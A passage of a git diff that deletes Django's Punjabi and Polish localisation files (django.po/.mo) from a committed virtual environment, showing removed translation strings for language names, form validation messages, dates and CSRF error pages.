"ਕਜ਼ਾਖ" - -msgid "Khmer" -msgstr "ਖਮੀਰ" - -msgid "Kannada" -msgstr "ਕੰਨੜ" - -msgid "Korean" -msgstr "ਕੋਰੀਆਈ" - -msgid "Luxembourgish" -msgstr "" - -msgid "Lithuanian" -msgstr "ਲੀਥੁਨੀਆਈ" - -msgid "Latvian" -msgstr "ਲਾਟਵੀਅਨ" - -msgid "Macedonian" -msgstr "ਮੈਕਡੋਨੀਆਈ" - -msgid "Malayalam" -msgstr "ਮਲਿਆਲਮ" - -msgid "Mongolian" -msgstr "ਮੰਗੋਲੀਆਈ" - -msgid "Marathi" -msgstr "ਮਰਾਠੀ" - -msgid "Burmese" -msgstr "" - -msgid "Norwegian Bokmål" -msgstr "" - -msgid "Nepali" -msgstr "ਨੇਪਾਲੀ" - -msgid "Dutch" -msgstr "ਡੱਚ" - -msgid "Norwegian Nynorsk" -msgstr "ਨਾਰਵੇਗੀਅਨ ਨਯਨੋਰਸਕ" - -msgid "Ossetic" -msgstr "" - -msgid "Punjabi" -msgstr "ਪੰਜਾਬੀ" - -msgid "Polish" -msgstr "ਪੋਲੈਂਡੀ" - -msgid "Portuguese" -msgstr "ਪੁਰਤਗਾਲੀ" - -msgid "Brazilian Portuguese" -msgstr "ਬਰਾਜ਼ੀਲੀ ਪੁਰਤਗਾਲੀ" - -msgid "Romanian" -msgstr "ਰੋਮਾਨੀਆਈ" - -msgid "Russian" -msgstr "ਰੂਸੀ" - -msgid "Slovak" -msgstr "ਸਲੋਵਾਕ" - -msgid "Slovenian" -msgstr "ਸਲੋਵੀਨੀਆਈ" - -msgid "Albanian" -msgstr "ਅਲਬੀਨੀਆਈ" - -msgid "Serbian" -msgstr "ਸਰਬੀਆਈ" - -msgid "Serbian Latin" -msgstr "ਸਰਬੀਆਈ ਲੈਟਿਨ" - -msgid "Swedish" -msgstr "ਸਵੀਡਨੀ" - -msgid "Swahili" -msgstr "" - -msgid "Tamil" -msgstr "ਤਾਮਿਲ" - -msgid "Telugu" -msgstr "ਤੇਲਗੂ" - -msgid "Thai" -msgstr "ਥਾਈ" - -msgid "Turkish" -msgstr "ਤੁਰਕ" - -msgid "Tatar" -msgstr "ਤਤਾਰ" - -msgid "Udmurt" -msgstr "" - -msgid "Ukrainian" -msgstr "ਯੂਕਰੇਨੀ" - -msgid "Urdu" -msgstr "ਉਰਦੂ" - -msgid "Uzbek" -msgstr "" - -msgid "Vietnamese" -msgstr "ਵੀਅਤਨਾਮੀ" - -msgid "Simplified Chinese" -msgstr "ਸਧਾਰਨ ਚੀਨੀ" - -msgid "Traditional Chinese" -msgstr "ਮੂਲ ਚੀਨੀ" - -msgid "Messages" -msgstr "ਸੁਨੇਹੇ" - -msgid "Site Maps" -msgstr "ਸਾਈਟ ਖਾਕੇ" - -msgid "Static Files" -msgstr "ਸਥਿਰ ਫਾਈਲਾਂ" - -msgid "Syndication" -msgstr "" - -msgid "That page number is not an integer" -msgstr "" - -msgid "That page number is less than 1" -msgstr "" - -msgid "That page contains no results" -msgstr "" - -msgid "Enter a valid value." -msgstr "ਠੀਕ ਮੁੱਲ ਦਿਓ" - -msgid "Enter a valid URL." -msgstr "ਠੀਕ URL ਦਿਉ।" - -msgid "Enter a valid integer." -msgstr "" - -msgid "Enter a valid email address." -msgstr "ਢੁੱਕਵਾਂ ਈਮੇਲ ਸਿਰਨਾਵਾਂ ਦਿਉ ਜੀ।" - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" - -msgid "Enter a valid IPv4 address." -msgstr "" - -msgid "Enter a valid IPv6 address." -msgstr "" - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "" - -msgid "Enter only digits separated by commas." -msgstr "" - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "" - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "" - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -msgstr[1] "" - -msgid "Enter a number." -msgstr "ਨੰਬਰ ਦਿਓ।" - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -msgid "Null characters are not allowed." -msgstr "" - -msgid "and" -msgstr "ਅਤੇ" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "" - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "" - -msgid "This field cannot be null." -msgstr "" - -msgid "This field cannot be blank." -msgstr "ਇਹ ਖੇਤਰ ਖਾਲੀ ਨਹੀਂ ਹੋ ਸਕਦਾ ਹੈ।" - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "" - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "ਖੇਤਰ ਦੀ ਕਿਸਮ: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" - -msgid "Boolean (Either True or False)" -msgstr "" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "" - -msgid "Comma-separated integers" -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" - -msgid "Date (without time)" -msgstr "ਮਿਤੀ (ਬਿਨਾਂ ਸਮਾਂ)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "ਮਿਤੀ (ਸਮੇਂ ਨਾਲ)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -msgid "Decimal number" -msgstr "ਦਸ਼ਮਲਵ ਅੰਕ" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -msgid "Duration" -msgstr "ਅੰਤਰਾਲ" - -msgid "Email address" -msgstr "ਈਮੇਲ ਐਡਰੈੱਸ" - -msgid "File path" -msgstr "ਫਾਇਲ ਪਾਥ" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "" - -msgid "Floating point number" -msgstr "" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "" - -msgid "Integer" -msgstr "ਅੰਕ" - -msgid "Big (8 byte) integer" -msgstr "" - -msgid "IPv4 address" -msgstr "IPv4 ਸਿਰਨਾਵਾਂ" - -msgid "IP address" -msgstr "IP ਐਡਰੈੱਸ" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" - -msgid "Boolean (Either True, False or None)" -msgstr "" - -msgid "Positive integer" -msgstr "" - -msgid "Positive small integer" -msgstr "" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "" - -msgid "Small integer" -msgstr "" - -msgid "Text" -msgstr "ਟੈਕਸਟ" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "ਸਮਾਂ" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -msgid "Universally unique identifier" -msgstr "" - -msgid "File" -msgstr "ਫਾਇਲ" - -msgid "Image" -msgstr "ਚਿੱਤਰ" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "" - -msgid "Foreign Key (type determined by related field)" -msgstr "" - -msgid "One-to-one relationship" -msgstr "ਇੱਕ-ਤੋਂ-ਇੱਕ ਸਬੰਧ" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "" - -msgid "Many-to-many relationship" -msgstr "ਕਈ-ਤੋਂ-ਕਈ ਸਬੰਧ" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr "" - -msgid "This field is required." -msgstr "ਇਹ ਖੇਤਰ ਲਾਜ਼ਮੀ ਹੈ।" - -msgid "Enter a whole number." -msgstr "ਪੂਰਨ ਨੰਬਰ ਦਿਉ।" - -msgid "Enter a valid date." -msgstr "ਠੀਕ ਮਿਤੀ ਦਿਓ।" - -msgid "Enter a valid time." -msgstr "ਠੀਕ ਸਮਾਂ ਦਿਓ।" - -msgid "Enter a valid date/time." -msgstr "ਠੀਕ ਮਿਤੀ/ਸਮਾਂ ਦਿਓ।" - -msgid "Enter a valid duration." -msgstr "" - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "" - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "" - -msgid "No file was submitted." -msgstr "ਕੋਈ ਫਾਇਲ ਨਹੀਂ ਭੇਜੀ।" - -msgid "The submitted file is empty." -msgstr "ਦਿੱਤੀ ਫਾਇਲ ਖਾਲੀ ਹੈ।" - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -msgstr[1] "" - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "" - -msgid "Enter a list of values." -msgstr "ਮੁੱਲ ਦੀ ਲਿਸਟ ਦਿਓ।" - -msgid "Enter a complete value." -msgstr "" - -msgid "Enter a valid UUID." -msgstr "" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "" - -msgid "ManagementForm data is missing or has been tampered with" -msgstr "" - -#, python-format -msgid "Please submit %d or fewer forms." -msgid_plural "Please submit %d or fewer forms." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Please submit %d or more forms." -msgid_plural "Please submit %d or more forms." -msgstr[0] "" -msgstr[1] "" - -msgid "Order" -msgstr "ਲੜੀ" - -msgid "Delete" -msgstr "ਹਟਾਓ" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "" - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" - -msgid "Please correct the duplicate values below." -msgstr "" - -msgid "The inline value did not match the parent instance." -msgstr "" - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "ਸਾਫ਼ ਕਰੋ" - -msgid "Currently" -msgstr "ਮੌਜੂਦਾ" - -msgid "Change" -msgstr "ਬਦਲੋ" - -msgid "Unknown" -msgstr "ਅਣਜਾਣ" - -msgid "Yes" -msgstr "ਹਾਂ" - -msgid "No" -msgstr "ਨਹੀਂ" - -msgid "Year" -msgstr "" - -msgid "Month" -msgstr "" - -msgid "Day" -msgstr "" - -msgid "yes,no,maybe" -msgstr "ਹਾਂ,ਨਹੀਂ,ਸ਼ਾਇਦ" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d ਬਾਈਟ" -msgstr[1] "%(size)d ਬਾਈਟ" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "p.m." - -msgid "a.m." -msgstr "a.m." - -msgid "PM" -msgstr "ਸ਼ਾਮ" - -msgid "AM" -msgstr "ਸਵੇਰ" - -msgid "midnight" -msgstr "ਅੱਧੀ-ਰਾਤ" - -msgid "noon" -msgstr "ਨੂਨ" - -msgid "Monday" -msgstr "ਸੋਮਵਾਰ" - -msgid "Tuesday" -msgstr "ਮੰਗਲਵਾਰ" - -msgid "Wednesday" -msgstr "ਬੁੱਧਵਾਰ" - -msgid "Thursday" -msgstr "ਵੀਰਵਾਰ" - -msgid "Friday" -msgstr "ਸ਼ੁੱਕਰਵਾਰ" - -msgid "Saturday" -msgstr "ਸ਼ਨਿੱਚਰਵਾਰ" - -msgid "Sunday" -msgstr "ਐਤਵਾਰ" - -msgid "Mon" -msgstr "ਸੋਮ" - -msgid "Tue" -msgstr "ਮੰਗ" - -msgid "Wed" -msgstr "ਬੁੱਧ" - -msgid "Thu" -msgstr "ਵੀਰ" - -msgid "Fri" -msgstr "ਸ਼ੁੱਕ" - -msgid "Sat" -msgstr "ਸ਼ਨਿੱ" - -msgid "Sun" -msgstr "ਐਤ" - -msgid "January" -msgstr "ਜਨਵਰੀ" - -msgid "February" -msgstr "ਫਰਵਰੀ" - -msgid "March" -msgstr "ਮਾਰਚ" - -msgid "April" -msgstr "ਅਪਰੈਲ" - -msgid "May" -msgstr "ਮਈ" - -msgid "June" -msgstr "ਜੂਨ" - -msgid "July" -msgstr "ਜੁਲਾਈ" - -msgid "August" -msgstr "ਅਗਸਤ" - -msgid "September" -msgstr "ਸਤੰਬਰ" - -msgid "October" -msgstr "ਅਕਤੂਬਰ" - -msgid "November" -msgstr "ਨਵੰਬਰ" - -msgid "December" -msgstr "ਦਸੰਬਰ" - -msgid "jan" -msgstr "ਜਨ" - -msgid "feb" -msgstr "ਫਰ" - -msgid "mar" -msgstr "ਮਾਰ" - -msgid "apr" -msgstr "ਅਪ" - -msgid "may" -msgstr "ਮਈ" - -msgid "jun" -msgstr "ਜੂਨ" - -msgid "jul" -msgstr "ਜੁਲ" - -msgid "aug" -msgstr "ਅਗ" - -msgid "sep" -msgstr "ਸਤੰ" - -msgid "oct" -msgstr "ਅਕ" - -msgid "nov" -msgstr "ਨਵੰ" - -msgid "dec" -msgstr "ਦਸੰ" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "ਜਨ" - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "ਫਰ" - -msgctxt "abbrev. month" -msgid "March" -msgstr "ਮਾਰ" - -msgctxt "abbrev. month" -msgid "April" -msgstr "ਅਪ" - -msgctxt "abbrev. month" -msgid "May" -msgstr "ਮਈ" - -msgctxt "abbrev. month" -msgid "June" -msgstr "ਜੂਨ" - -msgctxt "abbrev. month" -msgid "July" -msgstr "ਜੁਲ" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "ਅਗ" - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "ਸਤੰ" - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "ਅਕਤੂ" - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "ਨਵੰ" - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "ਦਸੰ" - -msgctxt "alt. month" -msgid "January" -msgstr "ਜਨਵਰੀ" - -msgctxt "alt. month" -msgid "February" -msgstr "ਫਰਵਰੀ" - -msgctxt "alt. month" -msgid "March" -msgstr "ਮਾਰਚ" - -msgctxt "alt. month" -msgid "April" -msgstr "ਅਪਰੈਲ" - -msgctxt "alt. month" -msgid "May" -msgstr "ਮਈ" - -msgctxt "alt. month" -msgid "June" -msgstr "ਜੂਨ" - -msgctxt "alt. month" -msgid "July" -msgstr "ਜੁਲਾਈ" - -msgctxt "alt. month" -msgid "August" -msgstr "ਅਗਸਤ" - -msgctxt "alt. month" -msgid "September" -msgstr "ਸਤੰਬਰ" - -msgctxt "alt. month" -msgid "October" -msgstr "ਅਕਤੂਬਰ" - -msgctxt "alt. month" -msgid "November" -msgstr "ਨਵੰਬਰ" - -msgctxt "alt. month" -msgid "December" -msgstr "ਦਸੰਬਰ" - -msgid "This is not a valid IPv6 address." -msgstr "" - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "" - -msgid "or" -msgstr "ਜਾਂ" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr "," - -#, python-format -msgid "%d year" -msgid_plural "%d years" -msgstr[0] "%d ਸਾਲ" -msgstr[1] "%d ਸਾਲ" - -#, python-format -msgid "%d month" -msgid_plural "%d months" -msgstr[0] "%d ਮਹੀਨਾ" -msgstr[1] "%d ਮਹੀਨੇ" - -#, python-format -msgid "%d week" -msgid_plural "%d weeks" -msgstr[0] "%d ਹਫ਼ਤਾ" -msgstr[1] "%d ਹਫ਼ਤੇ" - -#, python-format -msgid "%d day" -msgid_plural "%d days" -msgstr[0] "%d ਦਿਨ" -msgstr[1] "%d ਦਿਨ" - -#, python-format -msgid "%d hour" -msgid_plural "%d hours" -msgstr[0] "%d ਘੰਟਾ" -msgstr[1] "%d ਘੰਟੇ" - -#, python-format -msgid "%d minute" -msgid_plural "%d minutes" -msgstr[0] "%d ਮਿੰਟ" -msgstr[1] "%d ਮਿੰਟ" - -msgid "0 minutes" -msgstr "0 ਮਿੰਟ" - -msgid "Forbidden" -msgstr "" - -msgid "CSRF verification failed. Request aborted." -msgstr "" - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your Web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -msgid "More information is available with DEBUG=True." -msgstr "" - -msgid "No year specified" -msgstr "ਕੋਈ ਸਾਲ ਨਹੀਂ ਦਿੱਤਾ" - -msgid "Date out of range" -msgstr "" - -msgid "No month specified" -msgstr "ਕੋਈ ਮਹੀਨਾ ਨਹੀਂ ਦਿੱਤਾ" - -msgid "No day specified" -msgstr "ਕੋਈ ਦਿਨ ਨਹੀਂ ਦਿੱਤਾ" - -msgid "No week specified" -msgstr "ਕੋਈ ਹਫ਼ਤਾ ਨਹੀਂ ਦਿੱਤਾ" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "" - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "" - -#, python-format -msgid "Index of %(directory)s" -msgstr "%(directory)s ਦਾ ਇੰਡੈਕਸ" - -msgid "Django: the Web framework for perfectionists with deadlines." -msgstr "" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" - -msgid "The install worked successfully! Congratulations!" -msgstr "" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" - -msgid "Django Documentation" -msgstr "" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "" - -msgid "Get started with Django" -msgstr "" - -msgid "Django Community" -msgstr "" - -msgid "Connect, get help, or contribute" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/pl/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/pl/LC_MESSAGES/django.mo deleted file mode 100644 index 221182af..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/pl/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/pl/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/pl/LC_MESSAGES/django.po deleted file mode 100644 index e34285ce..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/pl/LC_MESSAGES/django.po +++ /dev/null @@ -1,1424 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# 8ffa075ab2f53c280beb2c066769d1ac_169beb5 <462ee687bbf3107fab5af73e8cc690d0_217822>, 2014 -# Adam Stachowicz , 2015 -# angularcircle, 2011,2013 -# angularcircle, 2011,2013 -# angularcircle, 2014 -# Dariusz Paluch , 2015 -# Darek, 2022 -# Jannis Leidel , 2011 -# Janusz Harkot , 2014-2015 -# Kacper Krupa , 2013 -# Karol , 2012 -# 0d5641585fd67fbdb97037c19ab83e4c_18c98b0 , 2011 -# 0d5641585fd67fbdb97037c19ab83e4c_18c98b0 , 2011 -# Łukasz Rekucki (lqc) , 2011 -# Maciej Olko , 2016-2021 -# Maciej Olko , 2023-2024 -# Maciej Olko , 2015 -# Mariusz Felisiak , 2020-2021,2023-2025 -# Michał Pasternak , 2013 -# c10516f0462e552b4c3672569f0745a7_cc5cca2 <841826256cd8f47d0e443806a8e56601_19204>, 2012 -# Piotr Meuś , 2014 -# c10516f0462e552b4c3672569f0745a7_cc5cca2 <841826256cd8f47d0e443806a8e56601_19204>, 2012 -# Quadric , 2014 -# Radek Czajka , 2013 -# Radek Czajka , 2013 -# Roman Barczyński, 2012 -# 8ffa075ab2f53c280beb2c066769d1ac_169beb5 <462ee687bbf3107fab5af73e8cc690d0_217822>, 2014 -# Tomasz Kajtoch , 2016-2017 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Mariusz Felisiak , " -"2020-2021,2023-2025\n" -"Language-Team: Polish (http://app.transifex.com/django/django/language/pl/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: pl\n" -"Plural-Forms: nplurals=4; plural=(n==1 ? 0 : (n%10>=2 && n%10<=4) && " -"(n%100<12 || n%100>14) ? 1 : n!=1 && (n%10>=0 && n%10<=1) || (n%10>=5 && " -"n%10<=9) || (n%100>=12 && n%100<=14) ? 2 : 3);\n" - -msgid "Afrikaans" -msgstr "afrykanerski" - -msgid "Arabic" -msgstr "arabski" - -msgid "Algerian Arabic" -msgstr "algierski arabski" - -msgid "Asturian" -msgstr "asturyjski" - -msgid "Azerbaijani" -msgstr "azerski" - -msgid "Bulgarian" -msgstr "bułgarski" - -msgid "Belarusian" -msgstr "białoruski" - -msgid "Bengali" -msgstr "bengalski" - -msgid "Breton" -msgstr "bretoński" - -msgid "Bosnian" -msgstr "bośniacki" - -msgid "Catalan" -msgstr "kataloński" - -msgid "Central Kurdish (Sorani)" -msgstr "sorani" - -msgid "Czech" -msgstr "czeski" - -msgid "Welsh" -msgstr "walijski" - -msgid "Danish" -msgstr "duński" - -msgid "German" -msgstr "niemiecki" - -msgid "Lower Sorbian" -msgstr "dolnołużycki" - -msgid "Greek" -msgstr "grecki" - -msgid "English" -msgstr "angielski" - -msgid "Australian English" -msgstr "australijski angielski" - -msgid "British English" -msgstr "brytyjski angielski" - -msgid "Esperanto" -msgstr "esperanto" - -msgid "Spanish" -msgstr "hiszpański" - -msgid "Argentinian Spanish" -msgstr "hiszpański argentyński" - -msgid "Colombian Spanish" -msgstr "hiszpański kolumbijski" - -msgid "Mexican Spanish" -msgstr "hiszpański meksykański" - -msgid "Nicaraguan Spanish" -msgstr "hiszpański nikaraguański" - -msgid "Venezuelan Spanish" -msgstr "hiszpański wenezuelski" - -msgid "Estonian" -msgstr "estoński" - -msgid "Basque" -msgstr "baskijski" - -msgid "Persian" -msgstr "perski" - -msgid "Finnish" -msgstr "fiński" - -msgid "French" -msgstr "francuski" - -msgid "Frisian" -msgstr "fryzyjski" - -msgid "Irish" -msgstr "irlandzki" - -msgid "Scottish Gaelic" -msgstr "Szkocki gaelicki" - -msgid "Galician" -msgstr "galicyjski" - -msgid "Hebrew" -msgstr "hebrajski" - -msgid "Hindi" -msgstr "hindi" - -msgid "Croatian" -msgstr "chorwacki" - -msgid "Upper Sorbian" -msgstr "górnołużycki" - -msgid "Hungarian" -msgstr "węgierski" - -msgid "Armenian" -msgstr "ormiański" - -msgid "Interlingua" -msgstr "interlingua" - -msgid "Indonesian" -msgstr "indonezyjski" - -msgid "Igbo" -msgstr "igbo" - -msgid "Ido" -msgstr "ido" - -msgid "Icelandic" -msgstr "islandzki" - -msgid "Italian" -msgstr "włoski" - -msgid "Japanese" -msgstr "japoński" - -msgid "Georgian" -msgstr "gruziński" - -msgid "Kabyle" -msgstr "kabylski" - -msgid "Kazakh" -msgstr "kazachski" - -msgid "Khmer" -msgstr "khmerski" - -msgid "Kannada" -msgstr "kannada" - -msgid "Korean" -msgstr "koreański" - -msgid "Kyrgyz" -msgstr "kirgiski" - -msgid "Luxembourgish" -msgstr "luksemburski" - -msgid "Lithuanian" -msgstr "litewski" - -msgid "Latvian" -msgstr "łotewski" - -msgid "Macedonian" -msgstr "macedoński" - -msgid "Malayalam" -msgstr "malajski" - -msgid "Mongolian" -msgstr "mongolski" - -msgid "Marathi" -msgstr "marathi" - -msgid "Malay" -msgstr "malajski" - -msgid "Burmese" -msgstr "birmański" - -msgid "Norwegian Bokmål" -msgstr "norweski (bokmål)" - -msgid "Nepali" -msgstr "nepalski" - -msgid "Dutch" -msgstr "holenderski" - -msgid "Norwegian Nynorsk" -msgstr "norweski (nynorsk)" - -msgid "Ossetic" -msgstr "osetyjski" - -msgid "Punjabi" -msgstr "pendżabski" - -msgid "Polish" -msgstr "polski" - -msgid "Portuguese" -msgstr "portugalski" - -msgid "Brazilian Portuguese" -msgstr "portugalski brazylijski" - -msgid "Romanian" -msgstr "rumuński" - -msgid "Russian" -msgstr "rosyjski" - -msgid "Slovak" -msgstr "słowacki" - -msgid "Slovenian" -msgstr "słoweński" - -msgid "Albanian" -msgstr "albański" - -msgid "Serbian" -msgstr "serbski" - -msgid "Serbian Latin" -msgstr "serbski (łaciński)" - -msgid "Swedish" -msgstr "szwedzki" - -msgid "Swahili" -msgstr "suahili" - -msgid "Tamil" -msgstr "tamilski" - -msgid "Telugu" -msgstr "telugu" - -msgid "Tajik" -msgstr "tadżycki" - -msgid "Thai" -msgstr "tajski" - -msgid "Turkmen" -msgstr "turkmeński" - -msgid "Turkish" -msgstr "turecki" - -msgid "Tatar" -msgstr "tatarski" - -msgid "Udmurt" -msgstr "udmurcki" - -msgid "Uyghur" -msgstr "ujgurski" - -msgid "Ukrainian" -msgstr "ukraiński" - -msgid "Urdu" -msgstr "urdu" - -msgid "Uzbek" -msgstr "uzbecki" - -msgid "Vietnamese" -msgstr "wietnamski" - -msgid "Simplified Chinese" -msgstr "chiński uproszczony" - -msgid "Traditional Chinese" -msgstr "chiński tradycyjny" - -msgid "Messages" -msgstr "Wiadomości" - -msgid "Site Maps" -msgstr "Mapy stron" - -msgid "Static Files" -msgstr "Pliki statyczne" - -msgid "Syndication" -msgstr "Syndykacja treści" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "…" - -msgid "That page number is not an integer" -msgstr "Ten numer strony nie jest liczbą całkowitą" - -msgid "That page number is less than 1" -msgstr "Ten numer strony jest mniejszy niż 1" - -msgid "That page contains no results" -msgstr "Ta strona nie zawiera wyników" - -msgid "Enter a valid value." 